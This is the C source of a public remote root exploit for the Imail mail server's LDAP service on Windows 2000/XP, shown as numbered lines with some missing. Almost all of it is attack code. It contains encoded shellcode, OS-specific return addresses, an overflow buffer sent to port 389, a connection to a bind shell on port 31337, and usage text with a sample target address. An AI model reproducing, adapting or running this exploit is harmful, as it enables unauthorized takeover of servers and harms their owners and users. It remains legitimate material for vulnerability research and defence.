1 /*****************************************************************************/
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2 /* THCimail 0.1 - Wind0wZ remote root exploit */
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3 /* Exploit by: Johnny Cyberpunk (jcyberpunk@thc.org) */
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4 /* THC PUBLIC SOURCE MATERIALS */
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6 /* Bug was found by idefense or some idefense slaves ;) */
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7 /* http://www.idefense.com/application/poi/display?id=74&type=vulnerabilities*/
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9 /* compile with MS Visual C++ : cl THCimail.c */
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11 /* At least some greetz fly to : THC, Halvar Flake, FX, gera, MaXX, dvorak, */
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12 /* scut, stealth, FtR and Random */
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13 /*****************************************************************************/
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18 #include <winsock2.h>
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20 #pragma comment(lib, "ws2_32.lib")
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22 char *WIN2KEN = "\xc4\x2a\x02\x75";
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23 char *WIN2KPG = "\xc4\x2a\xf9\x74";
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24 char *WINXPSP1G = "\xfe\x63\xa1\x71";
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26 #define jumper "\xeb\x06\x4a\x43"
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28 char ldapshit[] = "\x30\x82\x0a\x3d\x02\x01\x01\x60\x82\x01\x36\x02\xff\xff\xff\xff\x20";
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31 "\x8b\x7c\x24\xfc\x83\xc7\x21\x33\xc9\xb2\x8f\x66\x81\xc1\x02"
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32 "\x02\x8a\x1f\x32\xda\x88\x1f\x47\xe2\xf7\x64\xac\xf5\xe6\x8d"
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33 "\x8a\xe3\xd6\x77\x92\x13\x51\x03\x5e\xc3\xff\x5b\x8c\x7f\xa8"
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34 "\xaf\xaf\xbf\x87\xd8\xdc\xbd\xd0\xbc\xbd\xa1\xcb\xc3\xc3\x8e"
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35 "\x64\x8a\x67\x76\x70\x70\x70\xd2\x0c\x62\xa5\xe5\xbf\xd6\xeb"
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36 "\x04\x8e\x04\xcf\x83\x04\xff\x93\x22\x04\xf7\x87\x02\xd0\xb3"
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37 "\x04\x94\x8e\x74\x04\xd4\xf7\x8e\x74\x04\xc4\x93\x8e\x76\x04"
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38 "\xdc\xab\x8e\x75\xdc\xde\xdd\x04\xd4\xaf\x8e\x74\xbe\x46\xce"
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39 "\xbe\x4f\x16\x04\xbb\x04\x8e\x71\x23\xbe\x4d\x5e\x6d\x0b\x4f"
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40 "\xfa\x78\x80\x39\xca\x8a\x02\xcb\xca\x8b\xe9\xb6\x9f\xfa\x6e"
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41 "\xe9\xbe\x9f\xd5\xd7\xd1\xd9\xdf\xdd\xa4\xc1\x9f\xce\x80\x38"
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42 "\x83\xc5\x04\x8b\x07\x8e\x77\x80\x39\xc2\x8a\x06\xcb\x02\x57"
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43 "\x71\xc2\x8a\xfa\x31\x71\xc2\x8b\xfb\xae\x71\xc2\xad\x02\xd2"
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44 "\x97\xdc\x70\x5f\x06\x48\xe5\x8b\xd7\x07\xca\x8a\x0f\xca\xf8"
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45 "\x85\x02\xd2\xfb\x0f\xe4\xa9\x9b\x66\xf7\x70\x70\x70\x06\x41"
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46 "\xbe\x54\xdc\xdc\xdc\xdc\xd9\xc9\xd9\x70\x5f\x18\xda\xd7\xe9"
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47 "\x06\xbf\xe5\x9f\xda\xd8\x70\xda\x5b\xc1\xd9\xd8\x70\xda\x43"
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48 "\xdc\xda\xd8\x70\xda\x5f\x18\x02\xca\x07\xdf\x70\xda\x6b\xda"
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49 "\xda\x70\xda\x67\x02\xcb\x8a\x83\x1b\xdc\xe7\xa1\xea\xf7\xea"
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50 "\xe7\xd3\xec\xe2\xeb\x1b\xbe\x5d\x02\xca\x43\x1b\xd8\xd8\xd8"
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51 "\xdc\xdc\x71\x49\x8e\x7d\xdd\x1b\x02\xca\xf7\xdf\x02\xca\x07"
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52 "\xdf\x3e\x87\xdc\xdc\xe5\x9f\x71\x41\xdd\xdc\xdc\xdc\xda\x70"
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53 "\xda\x63\xe5\x70\x70\xda\x6f";
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57 void shell(int sock);
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59 int main(int argc, char *argv[])
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61 unsigned int i,sock,sock2,addr,os,ver,rc,IMAILVER;
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62 unsigned char *finalbuffer,*crapbuf1,*crapbuf2;
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63 unsigned int IMAIL6_7=60;
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64 unsigned int IMAIL_8=68;
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66 struct sockaddr_in mytcp;
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67 struct hostent * hp;
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70 printf("\nTHCimail v0.1 - Imail LDAP exploit\n");
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71 printf("tested on Imail 6-8\n");
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72 printf("by Johnny Cyberpunk (jcyberpunk@thc.org)\n");
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74 if(argc<4 || argc>4)
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77 ver = (unsigned short)atoi(argv[3]);
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81 IMAILVER = IMAIL6_7;
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87 printf("\nYou entered an illegal version !\n\n");
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92 crapbuf1 = malloc(IMAILVER);
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93 memset(crapbuf1,'X',IMAILVER);
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95 printf("imailver = %d\n",IMAILVER);
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97 crapbuf2 = malloc(2220);
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98 memset(crapbuf2,'X',2220);
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100 finalbuffer = malloc(2650);
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101 memset(finalbuffer,0,2650);
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103 printf("\n[*] building buffer\n");
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105 strcat(finalbuffer,ldapshit);
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107 strcat(finalbuffer,crapbuf1);
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109 strcat(finalbuffer,jumper);
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111 os = (unsigned short)atoi(argv[2]);
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115 strcat(finalbuffer,WIN2KPG);
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118 strcat(finalbuffer,WIN2KPG);
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121 strcat(finalbuffer,WINXPSP1G);
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124 printf("\nYou entered an illegal OS !\n\n");
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129 strcat(finalbuffer,shellcode);
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130 strcat(finalbuffer,crapbuf2);
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132 if (WSAStartup(MAKEWORD(2,1),&wsaData) != 0)
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134 printf("WSAStartup failed !\n");
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138 hp = gethostbyname(argv[1]);
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141 addr = inet_addr(argv[1]);
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143 if ((!hp) && (addr == INADDR_NONE) )
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145 printf("Unable to resolve %s\n",argv[1]);
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149 sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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152 printf("socket() error...\n");
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157 memcpy(&(mytcp.sin_addr),hp->h_addr,hp->h_length);
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159 mytcp.sin_addr.s_addr = addr;
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162 mytcp.sin_family = hp->h_addrtype;
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164 mytcp.sin_family = AF_INET;
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166 mytcp.sin_port=htons(389);
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168 printf("[*] connecting the target\n");
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170 rc=connect(sock, (struct sockaddr *) &mytcp, sizeof (struct sockaddr_in));
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173 send(sock,finalbuffer,2650,0);
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174 printf("[*] Exploit send successfully ! Sleeping a while ....\n");
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178 printf("\nCan't connect to ldap port!\n");
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182 printf("[*] Trying to get a shell\n\n");
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183 sock2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
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184 mytcp.sin_port = htons(31337);
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185 rc = connect(sock2, (struct sockaddr *)&mytcp, sizeof(mytcp));
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188 printf("can't connect to port 31337 ;( maybe firewalled ...\n");
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199 free(finalbuffer);
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207 printf("\nUsage: <Host> <OS> <Imail Version>\n");
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208 printf("Sample: THCimail 194.44.55.56 0 1\n\n");
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210 printf("0 - Windows 2000 Server english all service packs\n");
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211 printf("1 - Windows 2000 Professional german\n");
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212 printf("2 - Windows XP SP1 german\n\n");
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213 printf("Imail Version:\n");
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214 printf("0 - Imail 6+7\n");
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215 printf("1 - Imail 8\n");
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219 void shell(int sock)
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223 struct timeval time;
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224 unsigned long ul[2];
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234 l = select (0, (fd_set *)&ul, NULL, NULL, &time);
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237 l = recv (sock, buf, sizeof (buf), 0);
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240 printf ("bye bye...\n");
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243 l = write (1, buf, l);
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246 printf ("bye bye...\n");
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252 l = read (0, buf, sizeof (buf));
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255 printf("bye bye...\n");
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258 l = send(sock, buf, l, 0);
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261 printf("bye bye...\n");
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